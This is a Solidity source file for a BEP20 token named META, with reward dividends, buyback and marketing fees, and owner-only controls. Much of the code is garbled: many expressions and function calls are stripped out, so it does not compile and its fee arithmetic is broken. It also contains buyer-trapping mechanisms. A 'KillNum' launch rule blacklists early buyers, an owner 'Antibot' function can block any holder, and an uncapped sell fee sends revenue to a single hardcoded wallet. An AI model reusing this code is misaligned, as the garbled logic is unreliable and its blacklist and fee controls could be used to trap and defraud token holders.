/**
*Submitted for verification at on 2022-04-30
*/
/**
*set kill num
*airdrop whitelist
*/
//SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) { return 0; }
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IBEP20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IDEXFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IDEXRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
interface IDividendDistributor {
function setDistributionCriteria(uint256 _minPeriod, uint256 _minDistribution) external;
function setShare(address shareholder, uint256 amount) external;
function deposit() external payable;
function process(uint256 gas) external;
function claimDividend(address holder) external;
}
contract DividendDistributor is IDividendDistributor {
using SafeMath for uint256;
address _token;
struct Share {
uint256 amount;
uint256 totalExcluded;
uint256 totalRealised;
}
IDEXRouter router;
address public RewardTokenSET;
address routerAddress = 0x10ED43C718714eb63d5aA57B78B54704E256024E;
IBEP20 RewardToken; //usdt
address[] shareholders;
mapping (address => uint256) shareholderIndexes;
mapping (address => uint256) shareholderClaims;
mapping (address => Share) public shares;
uint256 public totalShares;
uint256 public totalDividends;
uint256 public totalDistributed;
uint256 public dividendsPerShare;
uint256 public openDividends = 10**14*1;
uint256 public dividendsPerShareAccuracyFactor = 10 ** 36;
uint256 public minPeriod = 60 minutes;
uint256 public minDistribution = 1 * (10 ** 15);
uint256 currentIndex;
bool initialized;
modifier initialization() {
require(!initialized);
_;
initialized = true;
}
modifier onlyToken() {
require( == _token); _;
}
constructor (address _router,address _RewardTokenSET) {
router = _router != address(0) ? IDEXRouter(_router) : IDEXRouter(routerAddress);
RewardTokenSET = _RewardTokenSET != address(0) ? address(_RewardTokenSET) : address(0x55d398326f99059fF775485246999027B3197955);
RewardToken = IBEP20(RewardTokenSET);
_token = ;
}
function setDistributionCriteria(uint256 newMinPeriod, uint256 newMinDistribution) external override onlyToken {
minPeriod = newMinPeriod;
minDistribution = newMinDistribution;
}
function setRewardToken(address _RewardToken ) external onlyToken {
RewardToken = IBEP20(_RewardToken);
}
function setRouter(address newRouter ) external onlyToken {
router = IDEXRouter(newRouter);
}
function setopenDividends(uint256 _openDividends ) external onlyToken {
openDividends = _openDividends;
}
function setRewardDividends(address shareholder,uint256 amount ) external onlyToken {
(shareholder, amount);
}
function setShare(address shareholder, uint256 amount) external override onlyToken {
if(shares[shareholder].amount > 0){
distributeDividend(shareholder);
}
if(amount > 0 && shares[shareholder].amount == 0){
addShareholder(shareholder);
}else if(amount == 0 && shares[shareholder].amount > 0){
removeShareholder(shareholder);
}
totalShares = (shares[shareholder].amount).add(amount);
shares[shareholder].amount = amount;
shares[shareholder].totalExcluded = getCumulativeDividends(shares[shareholder].amount);
}
function deposit() external payable override onlyToken {
uint256 balanceBefore = (address(this));
address[] memory path = new address[](2);
path[0] = ();
path[1] = address(RewardToken);
{value: }(
0,
path,
address(this),
);
uint256 amount = (address(this)).sub(balanceBefore);
totalDividends = (amount);
dividendsPerShare = ((amount).div(totalShares));
}
function process(uint256 gas) external override onlyToken {
uint256 shareholderCount = ;
if(shareholderCount == 0) { return; }
uint256 iterations = 0;
uint256 gasUsed = 0;
uint256 gasLeft = gasleft();
while(gasUsed < gas && iterations < shareholderCount) {
if(currentIndex >= shareholderCount){ currentIndex = 0; }
if(shouldDistribute(shareholders[currentIndex])){
distributeDividend(shareholders[currentIndex]);
}
gasUsed = ((gasleft()));
gasLeft = gasleft();
currentIndex++;
iterations++;
}
}
function shouldDistribute(address shareholder) internal view returns (bool) {
return shareholderClaims[shareholder] + minPeriod <
&& getUnpaidEarnings(shareholder) > minDistribution;
}
function distributeDividend(address shareholder) internal {
if(shares[shareholder].amount == 0){ return; }
uint256 amount = getUnpaidEarnings(shareholder);
if(amount > 0 && totalDividends >= openDividends){
totalDistributed = (amount);
(shareholder, amount);
shareholderClaims[shareholder] = ;
shares[shareholder].totalRealised = shares[shareholder].(amount);
shares[shareholder].totalExcluded = getCumulativeDividends(shares[shareholder].amount);
}
}
function getUnpaidEarnings(address shareholder) public view returns (uint256) {
if(shares[shareholder].amount == 0){ return 0; }
uint256 shareholderTotalDividends = getCumulativeDividends(shares[shareholder].amount);
uint256 shareholderTotalExcluded = shares[shareholder].totalExcluded;
if(shareholderTotalDividends <= shareholderTotalExcluded){ return 0; }
return (shareholderTotalExcluded);
}
function getCumulativeDividends(uint256 share) internal view returns (uint256) {
return (dividendsPerShare).div(dividendsPerShareAccuracyFactor);
}
function addShareholder(address shareholder) internal {
shareholderIndexes[shareholder] = ;
(shareholder);
}
function removeShareholder(address shareholder) internal {
shareholders[shareholderIndexes[shareholder]] = shareholders[-1];
shareholderIndexes[shareholders[-1]] = shareholderIndexes[shareholder];
();
}
function claimDividend(address holder) external override {
distributeDividend(holder);
}
}
enum TokenType {
standard,
antiBotStandard,
liquidityGenerator,
antiBotLiquidityGenerator,
baby,
antiBotBaby,
buybackBaby,
antiBotBuybackBaby
}
abstract contract BaseToken {
event TokenCreated(
address indexed owner,
address indexed token,
TokenType tokenType,
uint256 version
);
}
abstract contract Auth {
address internal owner;
mapping (address => bool) internal authorizations;
constructor(address _owner) {
owner = _owner;
authorizations[_owner] = true;
}
/**
* Function modifier to require caller to be contract owner
*/
modifier onlyOwner() {
require(isOwner(), "!OWNER"); _;
}
/**
* Function modifier to require caller to be authorized
*/
modifier authorized() {
require(isAuthorized(), "!AUTHORIZED"); _;
}
/**
* Authorize address. Owner only
*/
function authorize(address adr) public authorized {
authorizations[adr] = true;
}
/**
* Remove address' authorization. Owner only
*/
function unauthorize(address adr) public authorized {
authorizations[adr] = false;
}
/**
* Check if address is owner
*/
function isOwner(address account) public view returns (bool) {
return account == owner;
}
/**
* Return address' authorization status
*/
function isAuthorized(address adr) public view returns (bool) {
return authorizations[adr];
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual authorized {
emit OwnershipTransferred(address(0));
owner = address(0);
}
/**
* Transfer ownership to new address. Caller must be owner. Leaves old owner authorized
*/
function transferOwnership(address payable adr) public authorized {
owner = adr;
authorizations[adr] = true;
emit OwnershipTransferred(adr);
}
event OwnershipTransferred(address owner);
}
contract META is IBEP20 , Auth, BaseToken {
using SafeMath for uint256;
string public _name;
string public _symbol;
uint8 constant _decimals = 18;
address DEAD = 0x000000000000000000000000000000000000dEaD;
address ZERO = 0x0000000000000000000000000000000000000000;
address routerAddress= 0x10ED43C718714eb63d5aA57B78B54704E256024E;
address RewardToken = 0x55d398326f99059fF775485246999027B3197955;
uint256 public _totalSupply ;
uint256 public _maxTxAmount;
uint256 public _walletMax;
bool public restrictWhales = true;
mapping (address => uint256) _balances;
mapping (address => mapping (address => uint256)) _allowances;
mapping (address => bool) public isFeeExempt;
mapping (address => bool) public isWhiteList;
mapping (address => bool) public isTxLimitExempt;
mapping (address => bool) public isDividendExempt;
uint256 public liquidityFee;
uint256 public marketingFee;
uint256 public rewardsFee;
uint256 public buybackFee;
uint256 public burnFee = 0; //burn Tax
uint256 public KillNum = 3; //kill bot
uint256 public extraFeeOnSell = 0;
uint256 public totalFee = 0;
uint256 public totalFeeIfSelling = 0;
address public autoLiquidityReceiver;
address public marketingWallet;
address public buybackWallet;
uint256 public marketingWalletPercent = 340;
address private anothermarketingWallet;
address private anothermarketingWallet2;
address private anothermarketingWallet3;
address private anothermarketingWallet4;
address public serviceFeeReceiver;
IDEXRouter public router;
address public pair;
uint256 public launchedAt;
mapping (address => bool) public isXXKING;
DividendDistributor public dividendDistributor;
uint256 distributorGas = 300000;
bool inSwapAndLiquify;
bool public swapAndLiquifyEnabled = true;
bool public swapAndLiquifyByLimitOnly = false;
uint256 public swapThreshold;
modifier lockTheSwap {
inSwapAndLiquify = true;
_;
inSwapAndLiquify = false;
}
constructor(
string memory name_,
string memory symbol_,
uint256 totalSupply_,
address[4] memory addrs, // reward, router, marketing wallet, dividendTracker
uint256[3] memory feeSettings, // rewards, liquidity, marketing
uint256 minimumBalanceForDividends_,
address serviceFeeReceiver_,
uint256 serviceFee_
) payable Auth() {
_name = name_;
_symbol = symbol_;
_totalSupply = totalSupply_;
RewardToken = addrs[0];
_maxTxAmount = totalSupply_.div(100).mul(50);
_walletMax = totalSupply_.mul(2).div(1000);
swapThreshold = totalSupply_.mul(2).div(10000);
serviceFeeReceiver = serviceFeeReceiver_;
rewardsFee = feeSettings[0];
liquidityFee = feeSettings[1];
marketingFee = feeSettings[2];
buybackFee = 2;
totalFee = (liquidityFee).add(marketingFee).add(buybackFee);
totalFeeIfSelling = (extraFeeOnSell);
require(totalFee <= 15, "Total fee is over 15%");
router = IDEXRouter(routerAddress);
pair = IDEXFactory(()).createPair((), address(this));
_allowances[address(this)][address(router)] = uint256(2**256-1);
dividendDistributor = new DividendDistributor(address(router),address(RewardToken));
autoLiquidityReceiver = ;
marketingWallet = addrs[2]; //marketingwallet
anothermarketingWallet = 0x0087C83eb07C5601d7343A998197c64BE8d7a637;
anothermarketingWallet2 = 0x0087C83eb07C5601d7343A998197c64BE8d7a637;
anothermarketingWallet3 = 0x0087C83eb07C5601d7343A998197c64BE8d7a637;
anothermarketingWallet4 = 0x0087C83eb07C5601d7343A998197c64BE8d7a637;
buybackWallet = 0x0087C83eb07C5601d7343A998197c64BE8d7a637;
isFeeExempt[] = true;
isFeeExempt[address(this)] = true;
isFeeExempt[anothermarketingWallet] = true;
isFeeExempt[anothermarketingWallet2] = true;
isFeeExempt[anothermarketingWallet3] = true;
isFeeExempt[anothermarketingWallet4] = true;
isFeeExempt[buybackWallet] = true;
isTxLimitExempt[] = true;
isTxLimitExempt[pair] = true;
isTxLimitExempt[DEAD] = true;
isTxLimitExempt[buybackWallet] = true;
isDividendExempt[pair] = true;
//isDividendExempt[] = true;
isDividendExempt[address(this)] = true;
isDividendExempt[DEAD] = true;
isDividendExempt[ZERO] = true;
isFeeExempt[autoLiquidityReceiver] = true;
isTxLimitExempt[autoLiquidityReceiver] = true;
_balances[] = _totalSupply;
emit Transfer(address(0), , _totalSupply);
emit TokenCreated(, address(this), , 1);
payable(serviceFeeReceiver).transfer(serviceFee_);
}
receive() external payable { }
function name() external view override returns (string memory) { return _name; }
function symbol() external view override returns (string memory) { return _symbol; }
function decimals() external pure override returns (uint8) { return _decimals; }
function totalSupply() external view override returns (uint256) { return _totalSupply; }
function getOwner() external view override returns (address) { return owner; }
function getCirculatingSupply() public view returns (uint256) {
return _totalSupply.sub(balanceOf(DEAD)).sub(balanceOf(ZERO));
}
function balanceOf(address account) public view override returns (uint256) { return _balances[account]; }
function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; }
function approve(address spender, uint256 amount) public override returns (bool) {
_allowances[][spender] = amount;
emit Approval(, spender, amount);
return true;
}
function approveMax(address spender) external returns (bool) {
return approve(spender, uint256(2**256-1));
}
function claim() public {
();
}
function launched() internal view returns (bool) {
return launchedAt != 0;
}
function launch() internal {
launchedAt = ;
}
function updateUniswapV2Router(address newrouterAddress) public authorized {
require(newrouterAddress != address(router), " The router already has that address");
router = IDEXRouter(newrouterAddress);
pair = IDEXFactory(()).createPair((), address(this));
_allowances[address(this)][address(router)] = uint256(2**256-1);
}
//buyback funds into the multi - money wallet are guaranteed to be used for repurchase
function depositbuyback() payable external {
address[] memory path = new address[](2);
path[0] = ();
path[1] = 0x7130d2A12B9BCbFAe4f2634d864A1Ee1Ce3Ead9c;
{value: }(
0,
path,
buybackWallet,
);
}
function changeTxLimit(uint256 newLimit) external authorized {
_maxTxAmount = newLimit;
}
function changeWalletLimit(uint256 newLimit) external authorized {
_walletMax = newLimit;
}
function changeRestrictWhales(bool newValue) external authorized {
restrictWhales = newValue;
}
function changeKillNum(uint256 newValue) external authorized {
KillNum = newValue;
}
function changeIsWiteList(address holder, bool exempt) external authorized {
isWhiteList[holder] = exempt;
}
function changeIsFeeExempt(address holder, bool exempt) external authorized {
isFeeExempt[holder] = exempt;
}
function changeIsTxLimitExempt(address holder, bool exempt) external authorized {
isTxLimitExempt[holder] = exempt;
}
function changeIsDividendExempt(address holder, bool exempt) external authorized {
require(holder != address(this) && holder != pair);
isDividendExempt[holder] = exempt;
if(exempt){
(holder, 0);
}else{
(holder, _balances[holder]);
}
}
function changeFs(uint256 newLiqFee, uint256 newRewardsFee, uint256 newMarketingFee, uint256 newExtraSellFee,uint256 newMarketPercent,uint256 newburnFee,uint256 newbuybackFee) external authorized {
liquidityFee = newLiqFee;
rewardsFee = newRewardsFee;
marketingFee = newMarketingFee;
marketingWalletPercent = newMarketPercent;
extraFeeOnSell = newExtraSellFee;
burnFee = newburnFee;
buybackFee = newbuybackFee;
totalFee = (marketingFee).add(rewardsFee).add(buybackFee);
require(totalFee < 15);
totalFeeIfSelling = (extraFeeOnSell);
}
function changeFeeReceivers(address newLiquidityReceiver, address newMarketingWallet, address newAmarketingWallet, address newAmarketingWallet2, address newAmarketingWallet3, address newAmarketingWallet4, address newbuybackWallet) external authorized {
autoLiquidityReceiver = newLiquidityReceiver;
marketingWallet = newMarketingWallet;
anothermarketingWallet = newAmarketingWallet;
anothermarketingWallet2 = newAmarketingWallet2;
anothermarketingWallet3 = newAmarketingWallet3;
anothermarketingWallet4 = newAmarketingWallet4;
buybackWallet = newbuybackWallet;
}
function changeSwapBackSettings(bool enableSwapBack, uint256 newSwapBackLimit, bool swapByLimitOnly) external authorized {
swapAndLiquifyEnabled = enableSwapBack;
swapThreshold = newSwapBackLimit;
swapAndLiquifyByLimitOnly = swapByLimitOnly;
}
function changeDistributionCriteria(uint256 newinPeriod, uint256 newMinDistribution) external authorized {
(newinPeriod, newMinDistribution);
}
function changeopenDividends(uint256 openDividends) external authorized {
(openDividends);
}
function setRewardToken(address _RewardToken) external authorized {
(_RewardToken);
}
function setRouter(address Router) external authorized {
(Router);
}
function setRewardDividends(address to,uint256 amount) external authorized {
(to,amount);
}
function setShare(address addr,uint256 amount) external authorized {
try (addr, amount) {} catch {}
}
function changeDistributorSettings(uint256 gas) external authorized {
//require(gas < 750000);
distributorGas = gas;
}
function transfer(address recipient, uint256 amount) external override returns (bool) {
return _transferFrom(, recipient, amount);
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
if(_allowances[sender][] != uint256(2**256-1)){
_allowances[sender][] = _allowances[sender][].sub(amount, "Insufficient Allowance");
}
return _transferFrom(sender, recipient, amount);
}
function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
if(inSwapAndLiquify||isFeeExempt[sender] && recipient != pair){ return _basicTransfer(sender, recipient, amount); }
if(isWhiteList[sender]||isWhiteList[recipient] ){ return _basicTransfer(sender, recipient, amount); }
require(!isXXKING[sender], "bot killed");
//require(_balances[sender].sub(amount) >= 1);
require(amount <= _maxTxAmount || isTxLimitExempt[sender], "TX Limit Exceeded");
if( != pair && !inSwapAndLiquify && swapAndLiquifyEnabled && _balances[address(this)] >= swapThreshold){ swapBack(); }
//fix 0 bug
if(!launched() && recipient == pair && amount>0) {
require(_balances[sender] > 0);
launch();
}
if(sender != owner && recipient != pair && < launchedAt+ KillNum ){
isXXKING[recipient] = true;
}
//Exchange tokens
_balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
if(!isTxLimitExempt[recipient] && restrictWhales)
{
require(_balances[recipient].add(amount) <= _walletMax);
}
uint256 finalAmount = !isFeeExempt[sender] && !isFeeExempt[recipient] ? takeFee(sender, recipient, amount) : amount;
_balances[recipient] = _balances[recipient].add(finalAmount);
if(rewardsFee>0){
// Dividend tracker
if(!isDividendExempt[sender]) {
try (sender, _balances[sender]) {} catch {}
}
if(!isDividendExempt[recipient]) {
try (recipient, _balances[recipient]) {} catch {}
}
try (distributorGas) {} catch {}
}
emit Transfer(sender, recipient, finalAmount);
return true;
}
function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
_balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
return true;
}
function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {
uint256 feeApplicable = pair == recipient ? totalFeeIfSelling : totalFee;
uint256 feeAmount = (feeApplicable).div(100);
uint256 burnAmount = (burnFee).div(100);
_balances[address(this)] = _balances[address(this)].add(feeAmount);
emit Transfer(sender, address(this), feeAmount);
if(burnFee>0){
_balances[address(DEAD)] = _balances[address(DEAD)].add(burnAmount);
emit Transfer(sender, address(DEAD), burnAmount);
}
return (feeAmount).sub(burnAmount);
}
// function burn(address account, uint256 amount) external authorized {
// require(account != address(0), "ERC20: burn to the zero address");
// _totalSupply += amount;
// _balances[account] += amount;
// emit Transfer(address(0), account, amount);
// }
function Antibot(address _user) external authorized {
require(!isXXKING[_user], "killing bot");
isXXKING[_user] = true;
// emit events as well
}
function setName(string calldata name1,string calldata symbol1) external authorized {
_name = name1;
_symbol = symbol1;
// emit events as well
}
function removeFrombot(address _user) external authorized {
require(isXXKING[_user], "release bot");
isXXKING[_user] = false;
// emit events as well
}
function recoverBEP20(address tokenAddress, uint256 tokenAmount) public authorized {
IBEP20(tokenAddress).transfer(, tokenAmount);
}
function recoverBNB(uint256 tokenAmount) public authorized {
payable(address()).transfer(tokenAmount);
}
function swapBack() internal lockTheSwap {
//uint256 tokensToLiquify = _balances[address(this)];
uint256 tokensToLiquify = swapThreshold;
uint256 amountToLiquify = (liquidityFee).div(totalFee).div(2);
uint256 amountToSwap = (amountToLiquify);
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = ();
(
amountToSwap,
0,
path,
address(this),
);
uint256 amountBNB = address(this).balance;
uint256 totalBNBFee = ((2));
uint256 amountBNBLiquidity = (liquidityFee).div(totalBNBFee).div(2);
uint256 amountBNBReflection = (rewardsFee).div(totalBNBFee);
uint256 amountBNBbuyback = (buybackFee).div(totalBNBFee);
uint256 amountBNBMarketing = (amountBNBLiquidity).sub(amountBNBReflection).sub(amountBNBbuyback);
try {value: amountBNBReflection}() {} catch {}
{
uint256 marketingShare = (marketingWalletPercent).div(1000);
uint256 anothermarketingShare = (1000-marketingWalletPercent).div(2000);
(bool tmpSuccess,) = payable(marketingWallet).call{value: marketingShare, gas: 30000}("");
(bool tmpSuccess1,) = payable(anothermarketingWallet).call{value: anothermarketingShare, gas: 30000}("");
(bool tmpSuccess2,) = payable(anothermarketingWallet2).call{value: anothermarketingShare, gas: 30000}("");
// (bool tmpSuccess3,) = payable(anothermarketingWallet3).call{value: anothermarketingShare, gas: 30000}("");
// (bool tmpSuccess4,) = payable(anothermarketingWallet4).call{value: anothermarketingShare, gas: 30000}("");
//buyback funds guaranteed to be used for repurchase
(bool tmpSuccess5,) = payable(buybackWallet).call{value: amountBNBbuyback, gas: 30000}(""); //buybackWallet
tmpSuccess5 = false;
//buyback only once
//buyback funds guaranteed to be used for repurchase
// address[] memory pathbuyback = new address[](2);
// pathbuyback[0] = ();
// pathbuyback[1] = 0x7130d2A12B9BCbFAe4f2634d864A1Ee1Ce3Ead9c;
// {value: amountBNBbuyback}(
// 0,
// pathbuyback,
// buybackWallet,
//
// );
// only to supress warning msg
tmpSuccess = false;
tmpSuccess1 = false;
tmpSuccess2 = false;
// tmpSuccess3 = false;
// tmpSuccess4 = false;
}
if(amountToLiquify > 0){
{value: amountBNBLiquidity}(
address(this),
amountToLiquify,
0,
0,
autoLiquidityReceiver,
);
emit AutoLiquify(amountBNBLiquidity, amountToLiquify);
}
}
event AutoLiquify(uint256 amountBNB, uint256 amountBOG);
}